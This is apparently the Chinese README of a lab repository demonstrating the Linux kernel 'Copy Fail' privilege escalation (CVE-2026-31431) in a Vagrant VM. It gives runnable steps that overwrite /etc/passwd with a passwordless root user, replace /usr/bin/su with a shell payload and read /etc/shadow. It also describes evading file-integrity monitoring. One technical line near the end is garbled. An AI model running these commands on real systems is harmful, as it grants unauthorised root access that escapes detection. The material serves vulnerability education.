本仓库演示并解释了 CVE-2026-31431,即 Linux 内核复制失败本地权限提升漏洞。该漏洞允许以读取权限打开的文件在页缓存中被覆盖数据。
此仓库仅用于教育目的,并在受控环境中展示该漏洞。
包含的文件如下:
├── exploit
│ ├── copy_fail.py # 自定义漏洞利用程序,可针对任何具有读取权限的文件
│ ├── original_payload.txt # 原始漏洞利用程序使用的 payload 副本
│ ├── copy_fail_original.py # 原始漏洞利用程序,会覆盖 /usr/bin/su
│ └── copy_fail_readable.py # 更易读的原始漏洞利用程序,并包含对 payload 的解释
├── README.md
└── Vagrantfile # 运行 Ubuntu 22.04 的 Vagrant 虚拟机配置
该漏洞名为 Copy Fail,存在于 2017 年至 2026 年的 Linux 内核中,原因是 algif_aead 中的逻辑缺陷。漏洞编号为 CVE-2026-31431,CVSS 评分 7.8,评级为高危。该漏洞利用是确定性的,且可绕过传统的文件完整性监控工具。
已有多种语言(包括 C、Python 和 Go)发布了概念验证代码,但本演示使用 Python,需要 Python 3.10 或更高版本。
该漏洞利用需要以低权限用户在本地执行代码,并可用于本地权限提升。
以下各节内容包括:
确保已安装 Vagrant 和 QEMU。然后克隆此仓库并进入项目目录。
vagrant up
vagrant ssh
在虚拟机内,我们可以测试当前能力的限制。
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # 系统会提示输入 root 密码,而我们不知道密码
stat /usr/bin/su # 我们拥有读取和执行权限
stat /etc/passwd # 我们拥有读取权限
stat /etc/shadow # 我们没有权限
显然,我们的能力受限,但可以利用该漏洞提升权限。
为了理解该漏洞,我们覆盖一个虚拟文件并观察发生了什么。
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
我们有一个包含三行的文件。第一行有 6 个字节(包括换行符),第二行有 2 个字节,第三行有 1 个字节。这一点很重要,因为漏洞利用程序以 4 字节块覆盖数据,我们需要填充 payload 使其对齐。
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
可以看到,文件的前 8 个字节已被我们的 payload 替换。其中有两个不可打印的字符。可以用 nano 打开文件查看。
但这还不是太令人兴奋,接下来我们尝试写入我们没有写权限的文件。
我们可以覆盖 /etc/passwd 的内容,添加一个拥有 root 权限但无需密码的用户。
cat /etc/passwd
第一行包含 root 用户,其格式为 root:x:0:0:root:/root:/bin/bash,内容包含 8 组 4 字符(包括换行符),分别代表用户名、密码、UID、GID、家目录、shell。
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
我们添加了一个新用户 hackd,UID 和 GID 均为 0,即拥有 root 权限。密码字段为空,因此可以无需密码登录。
su hackd
id
cat /etc/shadow
在原始漏洞利用程序中,二进制文件 /usr/bin/su 被覆盖为执行 shell 的指令,从而允许攻击者在执行 su 时获得 root 权限。我们可以通过将 payload 从文件读取并覆盖 /usr/bin/su 来重现此漏洞利用。
注意,这会破坏页缓存中的 su 二进制文件。
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
payload 就位后,我们可以执行 su 并获得 root 权限。这将打开一个用户 ID 为 0 的 shell,通常为 root 用户;但如果之前的演示已执行,则会是我们创建的 hackd 用户。即使 root 用户设置了密码,该漏洞利用仍会打开 shell。
su
id
此漏洞利用不会修改磁盘上的文件,而是修改页缓存状态。因此,传统的文件完整性监控工具(检查磁盘文件变化)无法检测到该漏洞利用。
为了演示这一点,请执行上述漏洞利用,然后重启虚拟机,检查目标文件的内容。
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # 磁盘上的文件未发生变化
漏洞利用中使用了以下组件:
AD||CT||TAGTAG 复制到其后时交换了它们的顺序seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo引入此漏洞的原地优化提交:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
该补丁未做任何公开声明,移除了 algif_aead 中原地操作的功能:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
扩展阅读:
Python 实现
C 实现
Go 实现